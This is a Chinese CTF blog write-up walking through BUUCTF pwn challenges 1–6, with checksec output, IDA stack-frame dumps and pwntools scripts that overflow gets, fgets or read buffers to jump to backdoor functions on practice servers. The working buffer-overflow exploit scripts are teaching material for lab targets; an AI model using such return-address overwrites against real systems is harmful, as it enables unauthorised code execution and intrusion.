BUUCTF-Pwn-wp(1-12)
本文最后更新于 17 天前,其中的信息可能已经有所发展或是发生改变。

PS:以下题目均在BUUCTF

1、test_your_nc(含Pwn环境搭建)(nc 连接)

前提简要:

虚拟机版本:Ubuntu24.04 pwn环境搭配如下(后面若有其他这个链接没有配置上的工具,都会在相应题目部分给出更新/分享/提示) 链接: Pwn环境搭建 都是基于个人理解,不一定完全正确!!!

题目

先启动靶机

方法一:

常规测试

直接在虚拟机nc与靶机进行连接

这道题连接后可能会没有显示东西出来,输入ls查看里面有啥文件(ls:列出当前地址/当前目录下的文件与子目录)

这里我们看到有flag文件

输入cat flag即可找到flag,返回题目输入答案并提交即可(cat:查看文件内容)

方法二:

脚本(exp)——题目常规做法

先把文件拖入虚拟机,用checksec命令查看该文件信息

我们用AI进行分析

  • Arch: amd64 – 64 – little:表示该文件的架构是 64 位小端序的 AMD64 架构 。
  • RELRO: Partial RELRO:RELRO(Relocation Read – Only)是一种针对共享库重定位表的保护机制。Partial RELRO 意味着部分重定位表在程序加载后变为只读,能防范一些通过修改全局偏移表(GOT)进行的攻击,但防护程度不如 Full RELRO 。
  • Stack: No canary found:Stack Canary 是一种栈保护机制,向栈中插入随机值(canary 值),函数返回时检查其是否被修改来判断栈是否遭受缓冲区溢出攻击。这里表示该文件未启用 Stack Canary 保护 。
  • NX: NX enabled:NX(No – eXecute)即不可执行,使栈、堆等内存区域不可执行,阻止攻击者在这些区域植入并执行恶意代码,这里已启用 。
  • PIE: PIE enabled:PIE(Position – Independent Executable)即地址无关可执行文件,让程序每次加载地址随机化,增加攻击者利用固定地址进行攻击的难度,这里已启用 。
  • Stripped: No :表示该文件没有被 strip(去除符号表等调试信息),保留了符号表等信息,便于调试和分析。

后我们把文件拖入IDA(64位)进行查看(IDA自行网上搜索下载安装)

拖入后,弹出来的提示一直按确定即可(其他也基本一致,后不赘述)

然后我们就来到这样的位置

先找到左边的main函数,双击进入

先显示出的是汇编代码,我们按F5转换为伪代码C语言,便于我们查看(转换成C语言后,可以按Tab键回到汇编代码)

直接给出system(“/bin/sh”);

权限就直接给你了,因此我们啥也不用操作,直接与其进行连接即可

先用vim命令创建一个新文件夹(vim后面的文件名自己喜欢起啥就起啥,这里用题目名字来起)

(vim:打开文件,若没有该文件就创建一个新文件并用输入名字作为文件名)

进入文件后,按i/a进入编辑模式,然后输入以下代码

这里每行开头的”r”可用其他字母代替,比如第二和第三行代码的第一个r,但其后面的代码则不能改

需要注意的是,这个最前面的“r”改成的字母得前后保持一致,就比如我现在是p=remote(),那么后面的一些代码开头都要用p,比如下面脚本中的p.interactive(),否则会出错

一句话:r 是你给连接对象起的变量名,可以换,但前后必须一致;点后面的 sendline()recv()interactive() 是库规定的方法名,不能乱改。

原理:remote() 创建了一个连接对象,r / p 只是保存这个对象的变量名;后面调用方法时,Python 必须通过同一个变量名找到这个对象。

完毕,按左上角的Esc退出编辑模式,后按:wq,保存并退出文件

(:wq,保存并退出,:q,不保存并退出,若有无法退出的情况,在后面加个!即可。eg:”:wq!”)

(注:若有错误,可直接:q退出再进入一次即可,不用自己慢慢删)

代码如下

#导入pwntools模块:
from pwn import *

#和靶机进行连接:
r = remote("ip",端口)

#获取靶机交互式终端:
r.interactive()

IP和端口按实际输入

给权限

运行该脚本

然后ls(后面步骤与方法一,一致,不再赘述)

2、rip(gets栈溢出,64位栈对齐)

题目

方法一

常规,启动靶机,扔进虚拟机checksec

64位,没有栈保护

扔进IDA(64位),找到main,F5反编译

如下

其他没啥用,我们看到有gets函数(gets函数不会检查输入字符串的长度,若用户输入的字符串长度超过了 str 所指向数组的大小,就会发生缓冲区溢出。)

gets 会一直读取到换行符 \n 或 EOF 为止,并且不会检查目标缓冲区大小;如果输入超过缓冲区容量,就会继续向后写,造成栈溢出。

gets(&s) 会把我们在 please input 后输入的内容,从标准输入读取进来,并写入到 &s 指向的栈内存中。因为 gets 不检查输入长度,所以如果输入内容超过 s 原本的空间,就会继续覆盖后面的栈数据,造成栈溢出。

我们双击s

自上往下看,从第一个 s 到最后一个 s,这段标蓝的区域就是以 &s 为起始地址的栈空间,也就是 s 对应的缓冲区。我们需要先发送数据把这段缓冲区填满。

填满 s 后,还没有到返回地址 r,中间还隔着 8 字节的 saved rbp。于是我们在前面填充的基础上,再发送 8 字节数据覆盖 saved rbp。这样后面再写入的数据就会到达返回地址 r 的位置。

然后我们把后门函数的地址写到返回地址 r 的位置。r 表示函数返回时要跳转到的地址,正常情况下函数执行完后会回到调用这个函数之后的下一条指令;但现在我们把返回地址覆盖成了后门函数的地址,所以程序返回时就会跳转到后门函数,从而拿到 shell。

计算要塞进去的数据大小: 用自上往下的第一个s左边的F(即0xF,十六进制中的F=十进制中的15)减去自上往下的第二个s左边的0(即0x0,十六进制中的0=十进制中的0),即得大小为15,然后再加上第二个sr之间的距离8字节(可以看r左边的8,因为上面s左边是0嘛,相差8;或者是看s右边的8也行,都是一个意思,但是不要重复加就行),最终我们算出是15+8=23

深入理解一下栈布局:(上面计算只是为了方便看懂,具体主要是这样的)

rbp-0xF  ← s 开始
...
rbp-0x1  ← s 最后一个字节
rbp+0x0  ← saved rbp 开始
...
rbp+0x7  ← saved rbp 最后一个字节
rbp+0x8  ← 返回地址 r 开始

在计算大小时,很多时候是用这种“左闭右开”的方式理解: e.g.在计算 s 的大小时,可以用“左闭右开”的方式理解:

[rbp-0xF, rbp+0x0)

也就是从 rbp-0xF 开始,到 rbp+0x0 前面结束,因此大小为 0xF = 15 字节。

然后我们按Shift+F12打开string窗口,一键找出所有的字符串,去寻找它的后门函数

我们看到system和/bin/sh

system点进去没啥东西,我们双击点进/bin/sh

然后直接按Ctrl+x查看是哪里调用了它

确定

发现是fun函数,直接把401186(fun函数地址)复制下来

然后返回虚拟机编写exp

代码如下

#导入pwntools模块:
from pwn import *

#和靶机进行连接:
r = remote("node5.buuoj.cn",29132)

#定义 payload
payload = b'a' * 23 +p64(0x40118A)+ p64(0x401186)

#发送payload
r.sendline(payload)

#获取靶机交互式终端:
r.interactive()

注:这里直接塞字节数据和填后门函数地址是不行的

觉得自己脚本没写错就要考虑栈对齐(64位程序,32位的很少有这个问题):

需要找lea的地址或者该函数结束即retn的地址,写在(空括号内)

payload = b’a’ * 23 + ()+ p64(0x401198) ——这是没有考虑栈对齐时的payload(减去+())

即: 如果确认 payload 的偏移和后门函数地址都没有问题,但程序仍然崩溃,就要考虑 64 位程序的栈对齐问题(32位的很少有这个问题)

在 64 位 Linux 程序中,函数在调用其他函数前通常要求 rsp 按 16 字节对齐。而 ret2win 是通过覆盖返回地址,让程序执行 ret 后直接跳转到后门函数,并不是通过正常的 call 指令调用后门函数,所以进入后门函数时的栈状态可能和正常调用时差 8 字节

如果后门函数内部又调用了 system("/bin/sh"),而此时 rsp 没有 16 字节对齐,就可能导致程序在 system 内部崩溃

解决方法一般有两种。第一种是在后门函数地址前面加一个单独的 ret 指令地址。因为 ret 会弹出 8 字节,使 rsp 增加 8,从而调整栈对齐。payload 可以写成:

payload = padding + p64(ret_addr) + p64(backdoor_addr)

第二种是直接跳到后门函数中 lea rdi, "/bin/sh" 这类准备参数的位置,跳过函数开头的 push rbp;。这样可以避免 push rbp 再次改变 rsp,从而绕过栈不对齐导致的崩溃

简单来说,找 ret/retn 是为了多弹出 8 字节调整 rsp;找 lea 是为了跳过函数开头影响栈的指令,直接执行调用 system 前的关键代码

这里我们找到的后门函数地址是fun的

我们拖动IDA上方蓝条

找到fun函数所在地址

注: (1)直接拖动找(在蓝色区域范围内) (2)在上面找到后门函数的时候(此页面)点击这个白色小箭头,即可来到fun函数附近(注:在汇编页面的时候拖,而不是c语言)

我上面填的地址是lea的,你们可自行尝试retn的地址(fun函数内的)

方法二

其他步骤基本同上

(对比一下不同方法的exp就知道区别了,方法三同理)

方法二 b'a' * 15 + p64(0x401186) 按栈布局来看,15 字节只填满了 s,后面的 p64(0x401186) 实际覆盖的是 saved rbp,而不是返回地址 r。因此它不是标准的覆盖 RIP 写法。它如果能运行成功,更多是依赖具体程序返回流程、saved rbp 被污染后的影响,或者 gets 自动补 \0 造成的低字节覆盖,不能作为稳定通用的 ret2win 原理来讲(具体的可以自己动态调试一下,这里不加展示)

代码如下

#导入pwntools模块:
from pwn import *

#和靶机进行连接:
r = remote("node5.buuoj.cn",29034)

#定义 payload
payload = b'a' * 15+ p64(0x401186)
#注:b前缀表示这是一个字节串
#b'a' 代表一个包含单个字节 a 的字节串
#''里的字母可替换成任意其他字符
#其实b'a' * 15就是我们塞进去的字节数据
#然后因为这个程序是64位的,所以我们写成p64(32位的即写成p32)
#p64 函数的作用是把一个64位的整数(以十六进制表示)转换为对应的 8 字节小端序字节串
#p64()内的即上面找到的后门函数地址,我们通常用Python编写脚本
#因此有以下规定
#二进制:加 0b 或者 0B,例如 0b1010。
#八进制:加 0o 或者 0O,例如 0o12。
#十进制:无需加前缀,直接写数字,例如 10。
#十六进制:加 0x 或者 0X,例如 0xA。

#发送payload
r.sendline(payload)

#获取靶机交互式终端:
r.interactive()

然后常规,得出flag

方法三

#导入pwntools模块:
from pwn import *

#和靶机进行连接:
r = remote("node5.buuoj.cn",29034)

#定义 payload
payload = b'a' * 23 + p64(0x401186+1)

#发送payload
r.sendline(payload)

#获取靶机交互式终端:
r.interactive()

332

方法三的 0x401186 + 1,意思就是:

不从 push rbp 开始执行,而是跳过 push rbp,从下一条指令开始执行。

push rbp 会让:

rsp -= 8

它会改变栈顶位置,可能破坏 64 位程序需要的 16 字节栈对齐。

push rbp

这条指令长度通常是 1 字节,具体上图我们可以看出

方法三本质是:

23 字节填充到返回地址,然后把返回地址改成 fun+1,跳过 push rbp,避免它影响 rsp,从而让后面的 system("/bin/sh") 能正常执行

3、warmup_csaw_2016(gets栈溢出)

题目

做法

扔进虚拟机checksec

64位,没开栈保护

扔进IDA(64位),找到main,F5反编译

跟上一题差不多,其他没啥作用

然后我们看到sprintf 函数,它和gets函数差不多,都可以导致栈溢出

这题里 sprintf 会把 sub_4006D0 的地址按 “%p\n” 的格式写入 s,所以结果里会包含一个换行符 \n,无法造成栈溢出,也就是我们无法利用sprintf 函数进行栈溢出,只能利用gets函数

(sprintf 函数不会检查目标缓冲区 str 的大小,如果格式化后的字符串长度超过了缓冲区的大小,就会导致缓冲区溢出)

(gets函数不会检查输入字符串的长度,若用户输入的字符串长度超过了 str 所指向数组的大小,就会发生缓冲区溢出。)

我们点进v5

完整代码,v5对应的是var_40

-0000000000000080 ; D/A/*   : change type (data/ascii/array)
-0000000000000080 ; N       : rename
-0000000000000080 ; U       : undefine
-0000000000000080 ; Use data definition commands to create local variables and function arguments.
-0000000000000080 ; Two special fields " r" and " s" represent return address and saved registers.
-0000000000000080 ; Frame size: 80; Saved regs: 8; Purge: 0
-0000000000000080 ;
-0000000000000080
-0000000000000080 s               db ?
-000000000000007F                 db ? ; undefined
-000000000000007E                 db ? ; undefined
-000000000000007D                 db ? ; undefined
-000000000000007C                 db ? ; undefined
-000000000000007B                 db ? ; undefined
-000000000000007A                 db ? ; undefined
-0000000000000079                 db ? ; undefined
-0000000000000078                 db ? ; undefined
-0000000000000077                 db ? ; undefined
-0000000000000076                 db ? ; undefined
-0000000000000075                 db ? ; undefined
-0000000000000074                 db ? ; undefined
-0000000000000073                 db ? ; undefined
-0000000000000072                 db ? ; undefined
-0000000000000071                 db ? ; undefined
-0000000000000070                 db ? ; undefined
-000000000000006F                 db ? ; undefined
-000000000000006E                 db ? ; undefined
-000000000000006D                 db ? ; undefined
-000000000000006C                 db ? ; undefined
-000000000000006B                 db ? ; undefined
-000000000000006A                 db ? ; undefined
-0000000000000069                 db ? ; undefined
-0000000000000068                 db ? ; undefined
-0000000000000067                 db ? ; undefined
-0000000000000066                 db ? ; undefined
-0000000000000065                 db ? ; undefined
-0000000000000064                 db ? ; undefined
-0000000000000063                 db ? ; undefined
-0000000000000062                 db ? ; undefined
-0000000000000061                 db ? ; undefined
-0000000000000060                 db ? ; undefined
-000000000000005F                 db ? ; undefined
-000000000000005E                 db ? ; undefined
-000000000000005D                 db ? ; undefined
-000000000000005C                 db ? ; undefined
-000000000000005B                 db ? ; undefined
-000000000000005A                 db ? ; undefined
-0000000000000059                 db ? ; undefined
-0000000000000058                 db ? ; undefined
-0000000000000057                 db ? ; undefined
-0000000000000056                 db ? ; undefined
-0000000000000055                 db ? ; undefined
-0000000000000054                 db ? ; undefined
-0000000000000053                 db ? ; undefined
-0000000000000052                 db ? ; undefined
-0000000000000051                 db ? ; undefined
-0000000000000050                 db ? ; undefined
-000000000000004F                 db ? ; undefined
-000000000000004E                 db ? ; undefined
-000000000000004D                 db ? ; undefined
-000000000000004C                 db ? ; undefined
-000000000000004B                 db ? ; undefined
-000000000000004A                 db ? ; undefined
-0000000000000049                 db ? ; undefined
-0000000000000048                 db ? ; undefined
-0000000000000047                 db ? ; undefined
-0000000000000046                 db ? ; undefined
-0000000000000045                 db ? ; undefined
-0000000000000044                 db ? ; undefined
-0000000000000043                 db ? ; undefined
-0000000000000042                 db ? ; undefined
-0000000000000041                 db ? ; undefined
-0000000000000040 var_40          db ?
-000000000000003F                 db ? ; undefined
-000000000000003E                 db ? ; undefined
-000000000000003D                 db ? ; undefined
-000000000000003C                 db ? ; undefined
-000000000000003B                 db ? ; undefined
-000000000000003A                 db ? ; undefined
-0000000000000039                 db ? ; undefined
-0000000000000038                 db ? ; undefined
-0000000000000037                 db ? ; undefined
-0000000000000036                 db ? ; undefined
-0000000000000035                 db ? ; undefined
-0000000000000034                 db ? ; undefined
-0000000000000033                 db ? ; undefined
-0000000000000032                 db ? ; undefined
-0000000000000031                 db ? ; undefined
-0000000000000030                 db ? ; undefined
-000000000000002F                 db ? ; undefined
-000000000000002E                 db ? ; undefined
-000000000000002D                 db ? ; undefined
-000000000000002C                 db ? ; undefined
-000000000000002B                 db ? ; undefined
-000000000000002A                 db ? ; undefined
-0000000000000029                 db ? ; undefined
-0000000000000028                 db ? ; undefined
-0000000000000027                 db ? ; undefined
-0000000000000026                 db ? ; undefined
-0000000000000025                 db ? ; undefined
-0000000000000024                 db ? ; undefined
-0000000000000023                 db ? ; undefined
-0000000000000022                 db ? ; undefined
-0000000000000021                 db ? ; undefined
-0000000000000020                 db ? ; undefined
-000000000000001F                 db ? ; undefined
-000000000000001E                 db ? ; undefined
-000000000000001D                 db ? ; undefined
-000000000000001C                 db ? ; undefined
-000000000000001B                 db ? ; undefined
-000000000000001A                 db ? ; undefined
-0000000000000019                 db ? ; undefined
-0000000000000018                 db ? ; undefined
-0000000000000017                 db ? ; undefined
-0000000000000016                 db ? ; undefined
-0000000000000015                 db ? ; undefined
-0000000000000014                 db ? ; undefined
-0000000000000013                 db ? ; undefined
-0000000000000012                 db ? ; undefined
-0000000000000011                 db ? ; undefined
-0000000000000010                 db ? ; undefined
-000000000000000F                 db ? ; undefined
-000000000000000E                 db ? ; undefined
-000000000000000D                 db ? ; undefined
-000000000000000C                 db ? ; undefined
-000000000000000B                 db ? ; undefined
-000000000000000A                 db ? ; undefined
-0000000000000009                 db ? ; undefined
-0000000000000008                 db ? ; undefined
-0000000000000007                 db ? ; undefined
-0000000000000006                 db ? ; undefined
-0000000000000005                 db ? ; undefined
-0000000000000004                 db ? ; undefined
-0000000000000003                 db ? ; undefined
-0000000000000002                 db ? ; undefined
-0000000000000001                 db ? ; undefined
+0000000000000000  s              db 8 dup(?)
+0000000000000008  r              db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables

经典栈溢出问题,跟上一道题一样

算一下,从var_40到最后一个s是64(4*16=64,即v5的大小为64)然后再加上中间隔着的saved rbp的8个字节,共是72,下面那个r代表的是返回地址,我们在这里写入后门函数地址

Shift+F12打开string窗口,一键找出所有的字符串,去寻找它的后门函数

我们看到system函数

点进去

Ctrl+x看看是哪个函数调用了

发现没有啥,然后我们回去,发现了cat flag.txt

操作同上

找到后门函数地址40060D

编写exp

代码如下

#导入pwntools模块:
from pwn import *

#和靶机进行连接:
r = remote("node5.buuoj.cn",29343)

#定义 payload
payload = b'a' * 72+ p64(0x40060D)

#发送payload
r.sendline(payload)

#获取靶机交互式终端:
r.interactive()

payload不懂的请移步至本系列上篇代码注释(rip 的方法二)

最后,得出flag

4、ciscn_2019_n_1(gets栈溢出覆盖浮点变量)

题目

做法

开虚拟机,扔进去checksec

64位,还是没有开栈保护

扔进IDA(64位),找到main,F5反编译

都点一下,感觉没啥东西

然后我们点到func的时候

我们看到了熟悉的gets函数还有system(“cat /flag”)

这里,我们对这个程序进行栈溢出,在v1到v2间塞入字节数据,然后让v2=11.28125,我们就可以得到flag

我们点进gets函数括号中的v1,v1对应的是var_30,v2对应var_4

完整代码如下

-0000000000000030 ; D/A/*   : change type (data/ascii/array)
-0000000000000030 ; N       : rename
-0000000000000030 ; U       : undefine
-0000000000000030 ; Use data definition commands to create local variables and function arguments.
-0000000000000030 ; Two special fields " r" and " s" represent return address and saved registers.
-0000000000000030 ; Frame size: 30; Saved regs: 8; Purge: 0
-0000000000000030 ;
-0000000000000030
-0000000000000030 var_30          db ?
-000000000000002F                 db ? ; undefined
-000000000000002E                 db ? ; undefined
-000000000000002D                 db ? ; undefined
-000000000000002C                 db ? ; undefined
-000000000000002B                 db ? ; undefined
-000000000000002A                 db ? ; undefined
-0000000000000029                 db ? ; undefined
-0000000000000028                 db ? ; undefined
-0000000000000027                 db ? ; undefined
-0000000000000026                 db ? ; undefined
-0000000000000025                 db ? ; undefined
-0000000000000024                 db ? ; undefined
-0000000000000023                 db ? ; undefined
-0000000000000022                 db ? ; undefined
-0000000000000021                 db ? ; undefined
-0000000000000020                 db ? ; undefined
-000000000000001F                 db ? ; undefined
-000000000000001E                 db ? ; undefined
-000000000000001D                 db ? ; undefined
-000000000000001C                 db ? ; undefined
-000000000000001B                 db ? ; undefined
-000000000000001A                 db ? ; undefined
-0000000000000019                 db ? ; undefined
-0000000000000018                 db ? ; undefined
-0000000000000017                 db ? ; undefined
-0000000000000016                 db ? ; undefined
-0000000000000015                 db ? ; undefined
-0000000000000014                 db ? ; undefined
-0000000000000013                 db ? ; undefined
-0000000000000012                 db ? ; undefined
-0000000000000011                 db ? ; undefined
-0000000000000010                 db ? ; undefined
-000000000000000F                 db ? ; undefined
-000000000000000E                 db ? ; undefined
-000000000000000D                 db ? ; undefined
-000000000000000C                 db ? ; undefined
-000000000000000B                 db ? ; undefined
-000000000000000A                 db ? ; undefined
-0000000000000009                 db ? ; undefined
-0000000000000008                 db ? ; undefined
-0000000000000007                 db ? ; undefined
-0000000000000006                 db ? ; undefined
-0000000000000005                 db ? ; undefined
-0000000000000004 var_4           dd ?
+0000000000000000  s              db 8 dup(?)
+0000000000000008  r              db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables

v1到v2的大小为3*16-4=44,这就是我们要输入的数据大小

(补充:db是1个字节,dd是4个字节,dq是8个字节)

然后我们找一个可以把浮点数换成16进制数的网址(要统一进制)

这里给出一个网址(是否有病毒等风险自辨,资源来自互联网)

http://www.speedfly.cn/tools/hexconvert/

我们把11.28125换成16进制数,即是41348000(注意去掉数字间的空格)

我们编写exp

代码如下

#导入pwntools模块:
from pwn import *

#和靶机进行连接:
r = remote("node5.buuoj.cn",26405)

#定义 payload
payload = b'a' * 44+ p64(0x41348000)

#发送payload
r.sendline(payload)

#获取靶机交互式终端:
r.interactive()

然后常规,得出flag

5、pwn1_sctf_2016(fgets栈溢出、字符串替换绕过长度限制)

题目

做法

开虚拟机,checksec

32位,还是没开栈保护

扔进IDA(32位),找到main,F5反编译

没有啥,点进去vuln看看

眼花缭乱,先按Shift+F12打开string窗口,一键找出所有的字符串,看看有啥

诶,有个cat flag,点进去,然后Ctrl+x,确定

按Tab转成c语言看下

喔,后门函数这不找到了嘛,然后回去看看vuln函数

我们看到第12行的fgets函数,这是我们的输入点,限制在32个字符

不熟悉这个函数,求助一下AI:

1、可导致栈溢出

2、在正常使用时,n 代表要读取的最大字符数(包含字符串结束符 '\0'),fgets 会保证最多读取 n - 1 个字符到 str 所指向的缓冲区中,并在末尾添加 '\0'

(即这题的fgets函数限制是在31个字符)

点进fgets函数括号里的s看下,完整代码如下

s对应第37行的s

-00000058 ; D/A/*   : change type (data/ascii/array)
-00000058 ; N       : rename
-00000058 ; U       : undefine
-00000058 ; Use data definition commands to create local variables and function arguments.
-00000058 ; Two special fields " r" and " s" represent return address and saved registers.
-00000058 ; Frame size: 58; Saved regs: 4; Purge: 0
-00000058 ;
-00000058
-00000058                 db ? ; undefined
-00000057                 db ? ; undefined
-00000056                 db ? ; undefined
-00000055                 db ? ; undefined
-00000054                 db ? ; undefined
-00000053                 db ? ; undefined
-00000052                 db ? ; undefined
-00000051                 db ? ; undefined
-00000050                 db ? ; undefined
-0000004F                 db ? ; undefined
-0000004E                 db ? ; undefined
-0000004D                 db ? ; undefined
-0000004C                 db ? ; undefined
-0000004B                 db ? ; undefined
-0000004A                 db ? ; undefined
-00000049                 db ? ; undefined
-00000048                 db ? ; undefined
-00000047                 db ? ; undefined
-00000046                 db ? ; undefined
-00000045                 db ? ; undefined
-00000044                 db ? ; undefined
-00000043                 db ? ; undefined
-00000042                 db ? ; undefined
-00000041                 db ? ; undefined
-00000040                 db ? ; undefined
-0000003F                 db ? ; undefined
-0000003E                 db ? ; undefined
-0000003D                 db ? ; undefined
-0000003C s               db ?
-0000003B                 db ? ; undefined
-0000003A                 db ? ; undefined
-00000039                 db ? ; undefined
-00000038                 db ? ; undefined
-00000037                 db ? ; undefined
-00000036                 db ? ; undefined
-00000035                 db ? ; undefined
-00000034                 db ? ; undefined
-00000033                 db ? ; undefined
-00000032                 db ? ; undefined
-00000031                 db ? ; undefined
-00000030                 db ? ; undefined
-0000002F                 db ? ; undefined
-0000002E                 db ? ; undefined
-0000002D                 db ? ; undefined
-0000002C                 db ? ; undefined
-0000002B                 db ? ; undefined
-0000002A                 db ? ; undefined
-00000029                 db ? ; undefined
-00000028                 db ? ; undefined
-00000027                 db ? ; undefined
-00000026                 db ? ; undefined
-00000025                 db ? ; undefined
-00000024                 db ? ; undefined
-00000023                 db ? ; undefined
-00000022                 db ? ; undefined
-00000021                 db ? ; undefined
-00000020                 db ? ; undefined
-0000001F                 db ? ; undefined
-0000001E                 db ? ; undefined
-0000001D                 db ? ; undefined
-0000001C var_1C          db ?
-0000001B                 db ? ; undefined
-0000001A                 db ? ; undefined
-00000019                 db ? ; undefined
-00000018 var_18          db ?
-00000017                 db ? ; undefined
-00000016                 db ? ; undefined
-00000015                 db ? ; undefined
-00000014                 db ? ; undefined
-00000013                 db ? ; undefined
-00000012                 db ? ; undefined
-00000011 var_11          db ?
-00000010 var_10          db ?
-0000000F                 db ? ; undefined
-0000000E                 db ? ; undefined
-0000000D                 db ? ; undefined
-0000000C                 db ? ; undefined
-0000000B                 db ? ; undefined
-0000000A                 db ? ; undefined
-00000009 var_9           db ?
-00000008                 db ? ; undefined
-00000007                 db ? ; undefined
-00000006                 db ? ; undefined
-00000005                 db ? ; undefined
-00000004 var_4           dd ?
+00000000  s              db 4 dup(?)
+00000004  r              db 4 dup(?)
+00000008
+00000008 ; end of stack variables

得知,s到r的大小为0x3C+4=64,后门函数也有了

因此,这里我们考虑构造栈溢出,但是因为fgets函数限制了输入字符

64>31,因此我们不能直接塞字节数据进去,

我们回到vuln函数,继续往下看,看到you,I 还有replace(替换)

于是我们想到——在限制输入字符的情况下填满它,就得把 I 换成you

算一下要换多少个——64/3=21余1(换21个,然后塞一个字节数据进去就可以了)

(注:换20个,然后塞4个字节数据等等也是可以的,自己换下试试,我这里试到换18个,塞10个字节数据进去就得不出flag了,正常来说输入字符范围在31个以内都可以的,也许fgets函数里本来就有些东西吧,就像你分一个200G的盘,它的可用内存总没有200G一般)

【遇到这种换字符的不知道要用总数除以多少的,除数的算法具体是用一个要换成的字符的字节大小除以一个原始没换的字符的字节大小。用这道题举例,就是:被除数 you(1个you要换成的字节大小)除以 除数 I (1个I要换成的字节大小)得出(即3/1也就是3)】

至此,我们构造exp

代码如下

#导入pwntools模块:
from pwn import *

#和靶机进行连接:
r = remote("node5.buuoj.cn",29891)

#定义 payload
payload = b'I' * 21 + b'a' * 1 + p32(0x8048F0D)

#发送payload
r.sendline(payload)

#获取靶机交互式终端:
r.interactive()

得出flag

6、jarvisoj_level0(read栈溢出)

题目

做法

开虚拟机,checksec

64位,没开栈保护

扔进IDA(64位),找到main,F5反编译

没啥,点进vulnerable_function

还是没啥,我们点进缓冲区(buf)看下

完整代码如下

-0000000000000080 ; D/A/*   : change type (data/ascii/array)
-0000000000000080 ; N       : rename
-0000000000000080 ; U       : undefine
-0000000000000080 ; Use data definition commands to create local variables and function arguments.
-0000000000000080 ; Two special fields " r" and " s" represent return address and saved registers.
-0000000000000080 ; Frame size: 80; Saved regs: 8; Purge: 0
-0000000000000080 ;
-0000000000000080
-0000000000000080 buf             db ?
-000000000000007F                 db ? ; undefined
-000000000000007E                 db ? ; undefined
-000000000000007D                 db ? ; undefined
-000000000000007C                 db ? ; undefined
-000000000000007B                 db ? ; undefined
-000000000000007A                 db ? ; undefined
-0000000000000079                 db ? ; undefined
-0000000000000078                 db ? ; undefined
-0000000000000077                 db ? ; undefined
-0000000000000076                 db ? ; undefined
-0000000000000075                 db ? ; undefined
-0000000000000074                 db ? ; undefined
-0000000000000073                 db ? ; undefined
-0000000000000072                 db ? ; undefined
-0000000000000071                 db ? ; undefined
-0000000000000070                 db ? ; undefined
-000000000000006F                 db ? ; undefined
-000000000000006E                 db ? ; undefined
-000000000000006D                 db ? ; undefined
-000000000000006C                 db ? ; undefined
-000000000000006B                 db ? ; undefined
-000000000000006A                 db ? ; undefined
-0000000000000069                 db ? ; undefined
-0000000000000068                 db ? ; undefined
-0000000000000067                 db ? ; undefined
-0000000000000066                 db ? ; undefined
-0000000000000065                 db ? ; undefined
-0000000000000064                 db ? ; undefined
-0000000000000063                 db ? ; undefined
-0000000000000062                 db ? ; undefined
-0000000000000061                 db ? ; undefined
-0000000000000060                 db ? ; undefined
-000000000000005F                 db ? ; undefined
-000000000000005E                 db ? ; undefined
-000000000000005D                 db ? ; undefined
-000000000000005C                 db ? ; undefined
-000000000000005B                 db ? ; undefined
-000000000000005A                 db ? ; undefined
-0000000000000059                 db ? ; undefined
-0000000000000058                 db ? ; undefined
-0000000000000057                 db ? ; undefined
-0000000000000056                 db ? ; undefined
-0000000000000055                 db ? ; undefined
-0000000000000054                 db ? ; undefined
-0000000000000053                 db ? ; undefined
-0000000000000052                 db ? ; undefined
-0000000000000051                 db ? ; undefined
-0000000000000050                 db ? ; undefined
-000000000000004F                 db ? ; undefined
-000000000000004E                 db ? ; undefined
-000000000000004D                 db ? ; undefined
-000000000000004C                 db ? ; undefined
-000000000000004B                 db ? ; undefined
-000000000000004A                 db ? ; undefined
-0000000000000049                 db ? ; undefined
-0000000000000048                 db ? ; undefined
-0000000000000047                 db ? ; undefined
-0000000000000046                 db ? ; undefined
-0000000000000045                 db ? ; undefined
-0000000000000044                 db ? ; undefined
-0000000000000043                 db ? ; undefined
-0000000000000042                 db ? ; undefined
-0000000000000041                 db ? ; undefined
-0000000000000040                 db ? ; undefined
-000000000000003F                 db ? ; undefined
-000000000000003E                 db ? ; undefined
-000000000000003D                 db ? ; undefined
-000000000000003C                 db ? ; undefined
-000000000000003B                 db ? ; undefined
-000000000000003A                 db ? ; undefined
-0000000000000039                 db ? ; undefined
-0000000000000038                 db ? ; undefined
-0000000000000037                 db ? ; undefined
-0000000000000036                 db ? ; undefined
-0000000000000035                 db ? ; undefined
-0000000000000034                 db ? ; undefined
-0000000000000033                 db ? ; undefined
-0000000000000032                 db ? ; undefined
-0000000000000031                 db ? ; undefined
-0000000000000030                 db ? ; undefined
-000000000000002F                 db ? ; undefined
-000000000000002E                 db ? ; undefined
-000000000000002D                 db ? ; undefined
-000000000000002C                 db ? ; undefined
-000000000000002B                 db ? ; undefined
-000000000000002A                 db ? ; undefined
-0000000000000029                 db ? ; undefined
-0000000000000028                 db ? ; undefined
-0000000000000027                 db ? ; undefined
-0000000000000026                 db ? ; undefined
-0000000000000025                 db ? ; undefined
-0000000000000024                 db ? ; undefined
-0000000000000023                 db ? ; undefined
-0000000000000022                 db ? ; undefined
-0000000000000021                 db ? ; undefined
-0000000000000020                 db ? ; undefined
-000000000000001F                 db ? ; undefined
-000000000000001E                 db ? ; undefined
-000000000000001D                 db ? ; undefined
-000000000000001C                 db ? ; undefined
-000000000000001B                 db ? ; undefined
-000000000000001A                 db ? ; undefined
-0000000000000019                 db ? ; undefined
-0000000000000018                 db ? ; undefined
-0000000000000017                 db ? ; undefined
-0000000000000016                 db ? ; undefined
-0000000000000015                 db ? ; undefined
-0000000000000014                 db ? ; undefined
-0000000000000013                 db ? ; undefined
-0000000000000012                 db ? ; undefined
-0000000000000011                 db ? ; undefined
-0000000000000010                 db ? ; undefined
-000000000000000F                 db ? ; undefined
-000000000000000E                 db ? ; undefined
-000000000000000D                 db ? ; undefined
-000000000000000C                 db ? ; undefined
-000000000000000B                 db ? ; undefined
-000000000000000A                 db ? ; undefined
-0000000000000009                 db ? ; undefined
-0000000000000008                 db ? ; undefined
-0000000000000007                 db ? ; undefined
-0000000000000006                 db ? ; undefined
-0000000000000005                 db ? ; undefined
-0000000000000004                 db ? ; undefined
-0000000000000003                 db ? ; undefined
-0000000000000002                 db ? ; undefined
-0000000000000001                 db ? ; undefined
+0000000000000000  s              db 8 dup(?)
+0000000000000008  r              db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables

貌似可以构成栈溢出?提前算一下,从buf到r共有8*16+8=136

Shift+F12打开string窗口,一键找出所有的字符串,找找它的后门函数

